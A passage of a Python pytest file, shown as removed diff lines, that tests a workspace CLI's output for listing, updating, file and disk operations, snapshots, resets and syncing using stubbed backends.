"[workspace-exec] workspace_id=workspace-123 sequence=2 cwd=/workspace" in captured.err - - -def test_print_workspace_summary_human_handles_last_command_and_secret_filtering( - capsys: pytest.CaptureFixture[str], -) -> None: - cli._print_workspace_summary_human( - { - "workspace_id": "workspace-123", - "labels": {"owner": "codex"}, - "environment": "debian:12", - "state": "started", - "workspace_path": "/workspace", - "last_activity_at": 123.0, - "network_policy": "off", - "workspace_seed": {"mode": "directory", "seed_path": "/tmp/repo"}, - "secrets": ["ignored", {"name": "API_TOKEN", "source_kind": "literal"}], - "execution_mode": "guest_vsock", - "vcpu_count": 1, - "mem_mib": 1024, - "command_count": 2, - "reset_count": 0, - "service_count": 1, - "running_service_count": 1, - "last_command": {"command": "pytest", "exit_code": 0}, - }, - action="Workspace", - ) - output = capsys.readouterr().out - assert "Secrets: API_TOKEN (literal)" in output - assert "Last command: pytest (exit_code=0)" in output - - -def test_cli_workspace_list_prints_human( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def list_workspaces(self) -> dict[str, Any]: - return { - "count": 1, - "workspaces": [ - { - "workspace_id": "workspace-123", - "name": "repro-fix", - "labels": {"issue": "123", "owner": "codex"}, - "environment": "debian:12", - "state": "started", - "created_at": 100.0, - "last_activity_at": 200.0, - "expires_at": 700.0, - "command_count": 2, - "service_count": 1, - "running_service_count": 1, - } - ], - } - - class StubParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="list", - json=False, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - output = capsys.readouterr().out - assert "workspace_id=workspace-123" in output - assert "name='repro-fix'" in output - assert "labels=issue=123,owner=codex" in output - - -def test_print_workspace_list_human_skips_non_dict_entries( - capsys: pytest.CaptureFixture[str], -) -> None: - cli._print_workspace_list_human( - { - "workspaces": [ - "ignored", - { - "workspace_id": "workspace-123", - "state": "started", - "environment": "debian:12", - "last_activity_at": 200.0, - "expires_at": 700.0, - "command_count": 2, - "service_count": 1, - "running_service_count": 1, - }, - ] - } - ) - output = capsys.readouterr().out - assert "workspace_id=workspace-123" in output - assert "ignored" not in output - - -def test_cli_workspace_list_prints_empty_state( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def list_workspaces(self) -> dict[str, Any]: - return {"count": 0, "workspaces": []} - - class StubParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="list", - json=False, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - assert capsys.readouterr().out.strip() == "No workspaces." - - -def test_cli_workspace_update_prints_json( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def update_workspace(self, workspace_id: str, **kwargs: Any) -> dict[str, Any]: - assert workspace_id == "workspace-123" - assert kwargs["name"] == "retry-run" - assert kwargs["clear_name"] is False - assert kwargs["labels"] == {"issue": "124", "owner": "codex"} - assert kwargs["clear_labels"] == ["stale"] - return { - "workspace_id": workspace_id, - "name": "retry-run", - "labels": {"issue": "124", "owner": "codex"}, - } - - class StubParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="update", - workspace_id="workspace-123", - name="retry-run", - clear_name=False, - label=["issue=124", "owner=codex"], - clear_label=["stale"], - json=True, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - output = json.loads(capsys.readouterr().out) - assert output["workspace_id"] == "workspace-123" - - -def test_cli_workspace_update_prints_human( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def update_workspace(self, workspace_id: str, **kwargs: Any) -> dict[str, Any]: - assert workspace_id == "workspace-123" - assert kwargs["name"] is None - assert kwargs["clear_name"] is True - assert kwargs["labels"] == {"owner": "codex"} - assert kwargs["clear_labels"] is None - return { - "workspace_id": workspace_id, - "name": None, - "labels": {"owner": "codex"}, - "environment": "debian:12", - "state": "started", - "workspace_path": "/workspace", - "last_activity_at": 123.0, - "network_policy": "off", - "workspace_seed": {"mode": "empty", "seed_path": None}, - "execution_mode": "guest_vsock", - "vcpu_count": 1, - "mem_mib": 1024, - "command_count": 0, - "reset_count": 0, - "service_count": 0, - "running_service_count": 0, - } - - class StubParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="update", - workspace_id="workspace-123", - name=None, - clear_name=True, - label=["owner=codex"], - clear_label=[], - json=False, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - output = capsys.readouterr().out - assert "Workspace ID: workspace-123" in output - assert "Labels: owner=codex" in output - assert "Last activity at: 123.0" in output - - -def test_cli_workspace_export_prints_human_output( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def export_workspace( - self, - workspace_id: str, - path: str, - *, - output_path: str, - ) -> dict[str, Any]: - assert workspace_id == "workspace-123" - assert path == "note.txt" - assert output_path == "./note.txt" - return { - "workspace_id": workspace_id, - "workspace_path": "/workspace/note.txt", - "output_path": "/tmp/note.txt", - "artifact_type": "file", - "entry_count": 1, - "bytes_written": 6, - "execution_mode": "guest_vsock", - } - - class StubParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="export", - workspace_id="workspace-123", - path="note.txt", - output="./note.txt", - json=False, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - output = capsys.readouterr().out - assert "[workspace-export] workspace_id=workspace-123" in output - assert "artifact_type=file" in output - - -def test_cli_workspace_file_commands_print_human_and_json( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def list_workspace_files( - self, - workspace_id: str, - *, - path: str, - recursive: bool, - ) -> dict[str, Any]: - assert workspace_id == "workspace-123" - assert path == "/workspace/src" - assert recursive is True - return { - "workspace_id": workspace_id, - "path": path, - "recursive": recursive, - "entries": [ - { - "path": "/workspace/src/app.py", - "artifact_type": "file", - "size_bytes": 14, - "link_target": None, - } - ], - "execution_mode": "guest_vsock", - } - - def read_workspace_file( - self, - workspace_id: str, - path: str, - *, - max_bytes: int, - ) -> dict[str, Any]: - assert workspace_id == "workspace-123" - assert path == "src/app.py" - assert max_bytes == 4096 - return { - "workspace_id": workspace_id, - "path": "/workspace/src/app.py", - "size_bytes": 14, - "max_bytes": max_bytes, - "content": "print('hi')\n", - "truncated": False, - "execution_mode": "guest_vsock", - } - - def write_workspace_file( - self, - workspace_id: str, - path: str, - *, - text: str, - ) -> dict[str, Any]: - assert workspace_id == "workspace-123" - assert path == "src/app.py" - assert text == "print('hello')\n" - return { - "workspace_id": workspace_id, - "path": "/workspace/src/app.py", - "size_bytes": len(text.encode("utf-8")), - "bytes_written": len(text.encode("utf-8")), - "execution_mode": "guest_vsock", - } - - def apply_workspace_patch( - self, - workspace_id: str, - *, - patch: str, - ) -> dict[str, Any]: - assert workspace_id == "workspace-123" - assert patch.startswith("--- a/src/app.py") - return { - "workspace_id": workspace_id, - "changed": True, - "summary": {"total": 1, "added": 0, "modified": 1, "deleted": 0}, - "entries": [{"path": "/workspace/src/app.py", "status": "modified"}], - "patch": patch, - "execution_mode": "guest_vsock", - } - - class ListParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="file", - workspace_file_command="list", - workspace_id="workspace-123", - path="/workspace/src", - recursive=True, - json=False, - ) - - class ReadParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="file", - workspace_file_command="read", - workspace_id="workspace-123", - path="src/app.py", - max_bytes=4096, - json=True, - ) - - class WriteParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="file", - workspace_file_command="write", - workspace_id="workspace-123", - path="src/app.py", - text="print('hello')\n", - json=False, - ) - - class PatchParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="patch", - workspace_patch_command="apply", - workspace_id="workspace-123", - patch=( - "--- a/src/app.py\n" - "+++ b/src/app.py\n" - "@@ -1 +1 @@\n" - "-print('hi')\n" - "+print('hello')\n" - ), - json=False, - ) - - monkeypatch.setattr(cli, "Pyro", StubPyro) - - monkeypatch.setattr(cli, "_build_parser", lambda: ListParser()) - cli.main() - list_output = capsys.readouterr().out - assert "Workspace path: /workspace/src (recursive=yes)" in list_output - assert "/workspace/src/app.py [file]" in list_output - - monkeypatch.setattr(cli, "_build_parser", lambda: ReadParser()) - cli.main() - read_payload = json.loads(capsys.readouterr().out) - assert read_payload["path"] == "/workspace/src/app.py" - assert read_payload["content"] == "print('hi')\n" - - monkeypatch.setattr(cli, "_build_parser", lambda: WriteParser()) - cli.main() - write_output = capsys.readouterr().out - assert "[workspace-file-write] workspace_id=workspace-123" in write_output - - monkeypatch.setattr(cli, "_build_parser", lambda: PatchParser()) - cli.main() - patch_output = capsys.readouterr().out - assert "[workspace-patch] workspace_id=workspace-123 total=1" in patch_output - - -def test_cli_workspace_file_write_reads_text_file( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], - tmp_path: Path, -) -> None: - source_path = tmp_path / "app.py" - source_path.write_text("print('from file')\n", encoding="utf-8") - - class StubPyro: - def write_workspace_file( - self, - workspace_id: str, - path: str, - *, - text: str, - ) -> dict[str, Any]: - assert workspace_id == "workspace-123" - assert path == "src/app.py" - assert text == "print('from file')\n" - return { - "workspace_id": workspace_id, - "path": "/workspace/src/app.py", - "size_bytes": len(text.encode("utf-8")), - "bytes_written": len(text.encode("utf-8")), - "execution_mode": "guest_vsock", - } - - class StubParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="file", - workspace_file_command="write", - workspace_id="workspace-123", - path="src/app.py", - text=None, - text_file=str(source_path), - json=False, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - output = capsys.readouterr().out - assert "[workspace-file-write] workspace_id=workspace-123" in output - - -def test_cli_workspace_patch_apply_reads_patch_file( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], - tmp_path: Path, -) -> None: - patch_path = tmp_path / "fix.patch" - patch_text = "--- a/src/app.py\n+++ b/src/app.py\n@@ -1 +1 @@\n-print('hi')\n+print('hello')\n" - patch_path.write_text(patch_text, encoding="utf-8") - - class StubPyro: - def apply_workspace_patch( - self, - workspace_id: str, - *, - patch: str, - ) -> dict[str, Any]: - assert workspace_id == "workspace-123" - assert patch == patch_text - return { - "workspace_id": workspace_id, - "changed": True, - "summary": {"total": 1, "added": 0, "modified": 1, "deleted": 0}, - "entries": [{"path": "/workspace/src/app.py", "status": "modified"}], - "patch": patch, - "execution_mode": "guest_vsock", - } - - class StubParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="patch", - workspace_patch_command="apply", - workspace_id="workspace-123", - patch=None, - patch_file=str(patch_path), - json=False, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - output = capsys.readouterr().out - assert "[workspace-patch] workspace_id=workspace-123 total=1" in output - - -def test_cli_workspace_stop_and_start_print_human_output( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def stop_workspace(self, workspace_id: str) -> dict[str, Any]: - assert workspace_id == "workspace-123" - return { - "workspace_id": workspace_id, - "environment": "debian:12", - "state": "stopped", - "workspace_path": "/workspace", - "network_policy": "off", - "execution_mode": "guest_vsock", - "vcpu_count": 1, - "mem_mib": 1024, - "command_count": 2, - "reset_count": 0, - "service_count": 0, - "running_service_count": 0, - } - - def start_workspace(self, workspace_id: str) -> dict[str, Any]: - assert workspace_id == "workspace-123" - return { - "workspace_id": workspace_id, - "environment": "debian:12", - "state": "started", - "workspace_path": "/workspace", - "network_policy": "off", - "execution_mode": "guest_vsock", - "vcpu_count": 1, - "mem_mib": 1024, - "command_count": 2, - "reset_count": 0, - "service_count": 0, - "running_service_count": 0, - } - - class StopParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="stop", - workspace_id="workspace-123", - json=False, - ) - - class StartParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="start", - workspace_id="workspace-123", - json=False, - ) - - monkeypatch.setattr(cli, "Pyro", StubPyro) - monkeypatch.setattr(cli, "_build_parser", lambda: StopParser()) - cli.main() - stopped_output = capsys.readouterr().out - assert "Stopped workspace ID: workspace-123" in stopped_output - - monkeypatch.setattr(cli, "_build_parser", lambda: StartParser()) - cli.main() - started_output = capsys.readouterr().out - assert "Started workspace ID: workspace-123" in started_output - - -def test_cli_workspace_disk_commands_print_human_and_json( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def export_workspace_disk( - self, - workspace_id: str, - *, - output_path: str, - ) -> dict[str, Any]: - assert workspace_id == "workspace-123" - assert output_path == "./workspace.ext4" - return { - "workspace_id": workspace_id, - "output_path": "/tmp/workspace.ext4", - "disk_format": "ext4", - "bytes_written": 8192, - } - - def list_workspace_disk( - self, - workspace_id: str, - *, - path: str, - recursive: bool, - ) -> dict[str, Any]: - assert workspace_id == "workspace-123" - assert path == "/workspace" - assert recursive is True - return { - "workspace_id": workspace_id, - "path": path, - "recursive": recursive, - "entries": [ - { - "path": "/workspace/note.txt", - "artifact_type": "file", - "size_bytes": 6, - "link_target": None, - } - ], - } - - def read_workspace_disk( - self, - workspace_id: str, - path: str, - *, - max_bytes: int, - ) -> dict[str, Any]: - assert workspace_id == "workspace-123" - assert path == "note.txt" - assert max_bytes == 4096 - return { - "workspace_id": workspace_id, - "path": "/workspace/note.txt", - "size_bytes": 6, - "max_bytes": max_bytes, - "content": "hello\n", - "truncated": False, - } - - class ExportParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="disk", - workspace_disk_command="export", - workspace_id="workspace-123", - output="./workspace.ext4", - json=False, - ) - - class ListParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="disk", - workspace_disk_command="list", - workspace_id="workspace-123", - path="/workspace", - recursive=True, - json=False, - ) - - class ReadParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="disk", - workspace_disk_command="read", - workspace_id="workspace-123", - path="note.txt", - max_bytes=4096, - json=True, - ) - - monkeypatch.setattr(cli, "Pyro", StubPyro) - - monkeypatch.setattr(cli, "_build_parser", lambda: ExportParser()) - cli.main() - export_output = capsys.readouterr().out - assert "[workspace-disk-export] workspace_id=workspace-123" in export_output - - monkeypatch.setattr(cli, "_build_parser", lambda: ListParser()) - cli.main() - list_output = capsys.readouterr().out - assert "Workspace disk path: /workspace" in list_output - assert "/workspace/note.txt [file]" in list_output - - monkeypatch.setattr(cli, "_build_parser", lambda: ReadParser()) - cli.main() - read_payload = json.loads(capsys.readouterr().out) - assert read_payload["path"] == "/workspace/note.txt" - assert read_payload["content"] == "hello\n" - - -def test_cli_workspace_file_read_human_separates_summary_from_content( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def read_workspace_file( - self, - workspace_id: str, - path: str, - *, - max_bytes: int, - ) -> dict[str, Any]: - assert workspace_id == "workspace-123" - assert path == "note.txt" - assert max_bytes == 4096 - return { - "workspace_id": workspace_id, - "path": "/workspace/note.txt", - "size_bytes": 5, - "max_bytes": max_bytes, - "content": "hello", - "truncated": False, - } - - class StubParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="file", - workspace_file_command="read", - workspace_id="workspace-123", - path="note.txt", - max_bytes=4096, - content_only=False, - json=False, - ) - - monkeypatch.setattr(cli, "Pyro", StubPyro) - monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) - - cli.main() - captured = capsys.readouterr() - assert captured.out == "hello\n" - assert "[workspace-file-read] workspace_id=workspace-123" in captured.err - - -def test_cli_workspace_file_read_content_only_suppresses_summary( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def read_workspace_file( - self, - workspace_id: str, - path: str, - *, - max_bytes: int, - ) -> dict[str, Any]: - return { - "workspace_id": workspace_id, - "path": "/workspace/note.txt", - "size_bytes": 5, - "max_bytes": max_bytes, - "content": "hello", - "truncated": False, - } - - class StubParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="file", - workspace_file_command="read", - workspace_id="workspace-123", - path="note.txt", - max_bytes=4096, - content_only=True, - json=False, - ) - - monkeypatch.setattr(cli, "Pyro", StubPyro) - monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) - - cli.main() - captured = capsys.readouterr() - assert captured.out == "hello" - assert captured.err == "" - - -def test_cli_workspace_disk_read_human_separates_summary_from_content( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def read_workspace_disk( - self, - workspace_id: str, - path: str, - *, - max_bytes: int, - ) -> dict[str, Any]: - assert workspace_id == "workspace-123" - assert path == "note.txt" - assert max_bytes == 4096 - return { - "workspace_id": workspace_id, - "path": "/workspace/note.txt", - "size_bytes": 5, - "max_bytes": max_bytes, - "content": "hello", - "truncated": False, - } - - class StubParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="disk", - workspace_disk_command="read", - workspace_id="workspace-123", - path="note.txt", - max_bytes=4096, - content_only=False, - json=False, - ) - - monkeypatch.setattr(cli, "Pyro", StubPyro) - monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) - - cli.main() - captured = capsys.readouterr() - assert captured.out == "hello\n" - assert "[workspace-disk-read] workspace_id=workspace-123" in captured.err - - -def test_cli_workspace_disk_read_content_only_suppresses_summary( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def read_workspace_disk( - self, - workspace_id: str, - path: str, - *, - max_bytes: int, - ) -> dict[str, Any]: - return { - "workspace_id": workspace_id, - "path": "/workspace/note.txt", - "size_bytes": 5, - "max_bytes": max_bytes, - "content": "hello", - "truncated": False, - } - - class StubParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="disk", - workspace_disk_command="read", - workspace_id="workspace-123", - path="note.txt", - max_bytes=4096, - content_only=True, - json=False, - ) - - monkeypatch.setattr(cli, "Pyro", StubPyro) - monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) - - cli.main() - captured = capsys.readouterr() - assert captured.out == "hello" - assert captured.err == "" - - -def test_cli_workspace_diff_prints_human_output( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def diff_workspace(self, workspace_id: str) -> dict[str, Any]: - assert workspace_id == "workspace-123" - return { - "workspace_id": workspace_id, - "changed": True, - "summary": { - "total": 1, - "added": 0, - "modified": 1, - "deleted": 0, - "type_changed": 0, - "text_patched": 1, - "non_text": 0, - }, - "entries": [ - { - "path": "note.txt", - "status": "modified", - "artifact_type": "file", - "text_patch": "--- a/note.txt\n+++ b/note.txt\n", - } - ], - "patch": "--- a/note.txt\n+++ b/note.txt\n", - } - - class StubParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="diff", - workspace_id="workspace-123", - json=False, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - output = capsys.readouterr().out - assert "[workspace-diff] workspace_id=workspace-123 total=1 added=0 modified=1" in output - assert "--- a/note.txt" in output - - -def test_cli_workspace_snapshot_create_list_delete_and_reset_prints_json( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def create_snapshot(self, workspace_id: str, snapshot_name: str) -> dict[str, Any]: - assert workspace_id == "workspace-123" - assert snapshot_name == "checkpoint" - return { - "workspace_id": workspace_id, - "snapshot": { - "snapshot_name": snapshot_name, - "kind": "named", - "entry_count": 3, - "bytes_written": 42, - }, - } - - def list_snapshots(self, workspace_id: str) -> dict[str, Any]: - assert workspace_id == "workspace-123" - return { - "workspace_id": workspace_id, - "count": 2, - "snapshots": [ - { - "snapshot_name": "baseline", - "kind": "baseline", - "entry_count": 1, - "bytes_written": 10, - "deletable": False, - }, - { - "snapshot_name": "checkpoint", - "kind": "named", - "entry_count": 3, - "bytes_written": 42, - "deletable": True, - }, - ], - } - - def reset_workspace(self, workspace_id: str, *, snapshot: str) -> dict[str, Any]: - assert workspace_id == "workspace-123" - assert snapshot == "checkpoint" - return { - "workspace_id": workspace_id, - "state": "started", - "workspace_path": "/workspace", - "reset_count": 2, - "workspace_reset": { - "snapshot_name": snapshot, - "kind": "named", - "destination": "/workspace", - "entry_count": 3, - "bytes_written": 42, - }, - } - - def delete_snapshot(self, workspace_id: str, snapshot_name: str) -> dict[str, Any]: - assert workspace_id == "workspace-123" - assert snapshot_name == "checkpoint" - return { - "workspace_id": workspace_id, - "snapshot_name": snapshot_name, - "deleted": True, - } - - class SnapshotCreateParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="snapshot", - workspace_snapshot_command="create", - workspace_id="workspace-123", - snapshot_name="checkpoint", - json=True, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: SnapshotCreateParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - created = json.loads(capsys.readouterr().out) - assert created["snapshot"]["snapshot_name"] == "checkpoint" - - class SnapshotListParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="snapshot", - workspace_snapshot_command="list", - workspace_id="workspace-123", - json=True, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: SnapshotListParser()) - cli.main() - listed = json.loads(capsys.readouterr().out) - assert listed["count"] == 2 - - class ResetParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="reset", - workspace_id="workspace-123", - snapshot="checkpoint", - json=True, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: ResetParser()) - cli.main() - reset = json.loads(capsys.readouterr().out) - assert reset["workspace_reset"]["snapshot_name"] == "checkpoint" - - class SnapshotDeleteParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="snapshot", - workspace_snapshot_command="delete", - workspace_id="workspace-123", - snapshot_name="checkpoint", - json=True, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: SnapshotDeleteParser()) - cli.main() - deleted = json.loads(capsys.readouterr().out) - assert deleted["deleted"] is True - - -def test_cli_workspace_reset_prints_human_output( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def reset_workspace(self, workspace_id: str, *, snapshot: str) -> dict[str, Any]: - assert workspace_id == "workspace-123" - assert snapshot == "baseline" - return { - "workspace_id": workspace_id, - "state": "started", - "environment": "debian:12", - "workspace_path": "/workspace", - "workspace_seed": { - "mode": "directory", - "seed_path": "/tmp/repo", - "destination": "/workspace", - "entry_count": 1, - "bytes_written": 4, - }, - "execution_mode": "guest_vsock", - "command_count": 0, - "service_count": 0, - "running_service_count": 0, - "reset_count": 3, - "last_reset_at": 123.0, - "workspace_reset": { - "snapshot_name": "baseline", - "kind": "baseline", - "destination": "/workspace", - "entry_count": 1, - "bytes_written": 4, - }, - } - - class StubParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="reset", - workspace_id="workspace-123", - snapshot="baseline", - json=False, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - output = capsys.readouterr().out - assert "Reset source: baseline (baseline)" in output - assert "Reset count: 3" in output - - -def test_cli_workspace_snapshot_prints_human_output( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def create_snapshot(self, workspace_id: str, snapshot_name: str) -> dict[str, Any]: - assert workspace_id == "workspace-123" - assert snapshot_name == "checkpoint" - return { - "workspace_id": workspace_id, - "snapshot": { - "snapshot_name": snapshot_name, - "kind": "named", - "entry_count": 3, - "bytes_written": 42, - }, - } - - def list_snapshots(self, workspace_id: str) -> dict[str, Any]: - assert workspace_id == "workspace-123" - return { - "workspace_id": workspace_id, - "count": 2, - "snapshots": [ - { - "snapshot_name": "baseline", - "kind": "baseline", - "entry_count": 1, - "bytes_written": 10, - "deletable": False, - }, - { - "snapshot_name": "checkpoint", - "kind": "named", - "entry_count": 3, - "bytes_written": 42, - "deletable": True, - }, - ], - } - - def delete_snapshot(self, workspace_id: str, snapshot_name: str) -> dict[str, Any]: - assert workspace_id == "workspace-123" - assert snapshot_name == "checkpoint" - return { - "workspace_id": workspace_id, - "snapshot_name": snapshot_name, - "deleted": True, - } - - class SnapshotCreateParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="snapshot", - workspace_snapshot_command="create", - workspace_id="workspace-123", - snapshot_name="checkpoint", - json=False, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: SnapshotCreateParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - create_output = capsys.readouterr().out - assert "[workspace-snapshot-create] workspace_id=workspace-123" in create_output - assert "snapshot_name=checkpoint kind=named" in create_output - - class SnapshotListParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="snapshot", - workspace_snapshot_command="list", - workspace_id="workspace-123", - json=False, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: SnapshotListParser()) - cli.main() - list_output = capsys.readouterr().out - assert "baseline [baseline]" in list_output - assert "checkpoint [named]" in list_output - - class SnapshotDeleteParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="snapshot", - workspace_snapshot_command="delete", - workspace_id="workspace-123", - snapshot_name="checkpoint", - json=False, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: SnapshotDeleteParser()) - cli.main() - delete_output = capsys.readouterr().out - assert "Deleted workspace snapshot: checkpoint" in delete_output - - -def test_cli_workspace_snapshot_error_paths( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def create_snapshot(self, workspace_id: str, snapshot_name: str) -> dict[str, Any]: - del workspace_id, snapshot_name - raise RuntimeError("create boom") - - def list_snapshots(self, workspace_id: str) -> dict[str, Any]: - del workspace_id - raise RuntimeError("list boom") - - def delete_snapshot(self, workspace_id: str, snapshot_name: str) -> dict[str, Any]: - del workspace_id, snapshot_name - raise RuntimeError("delete boom") - - def _run(args: argparse.Namespace) -> tuple[str, str]: - class StubParser: - def parse_args(self) -> argparse.Namespace: - return args - - monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - with pytest.raises(SystemExit, match="1"): - cli.main() - captured = capsys.readouterr() - return captured.out, captured.err - - out, err = _run( - argparse.Namespace( - command="workspace", - workspace_command="snapshot", - workspace_snapshot_command="create", - workspace_id="workspace-123", - snapshot_name="checkpoint", - json=True, - ) - ) - assert json.loads(out)["error"] == "create boom" - assert err == "" - - out, err = _run( - argparse.Namespace( - command="workspace", - workspace_command="snapshot", - workspace_snapshot_command="list", - workspace_id="workspace-123", - json=False, - ) - ) - assert out == "" - assert "[error] list boom" in err - - out, err = _run( - argparse.Namespace( - command="workspace", - workspace_command="snapshot", - workspace_snapshot_command="delete", - workspace_id="workspace-123", - snapshot_name="checkpoint", - json=False, - ) - ) - assert out == "" - assert "[error] delete boom" in err - - -def test_cli_workspace_sync_push_prints_json( - monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] -) -> None: - class StubPyro: - def push_workspace_sync( - self, - workspace_id: str, - source_path: str, - *, - dest: str, - ) -> dict[str, Any]: - assert workspace_id == "workspace-123" - assert source_path == "./repo" - assert dest == "src" - return { - "workspace_id": workspace_id, - "execution_mode": "guest_vsock", - "workspace_sync": { - "mode": "directory", - "source_path": "/tmp/repo", - "destination": "/workspace/src", - "entry_count": 2, - "bytes_written": 12, - }, - } - - class StubParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="sync", - workspace_sync_command="push", - workspace_id="workspace-123", - source_path="./repo", - dest="src", - json=True, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - output = json.loads(capsys.readouterr().out) - assert output["workspace_sync"]["destination"] == "/workspace/src" - - -def test_cli_workspace_sync_push_prints_human( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def push_workspace_sync( - self, - workspace_id: str, - source_path: str, - *, - dest: str, - ) -> dict[str, Any]: - assert workspace_id == "workspace-123" - assert source_path == "./repo" - assert dest == "/workspace" - return { - 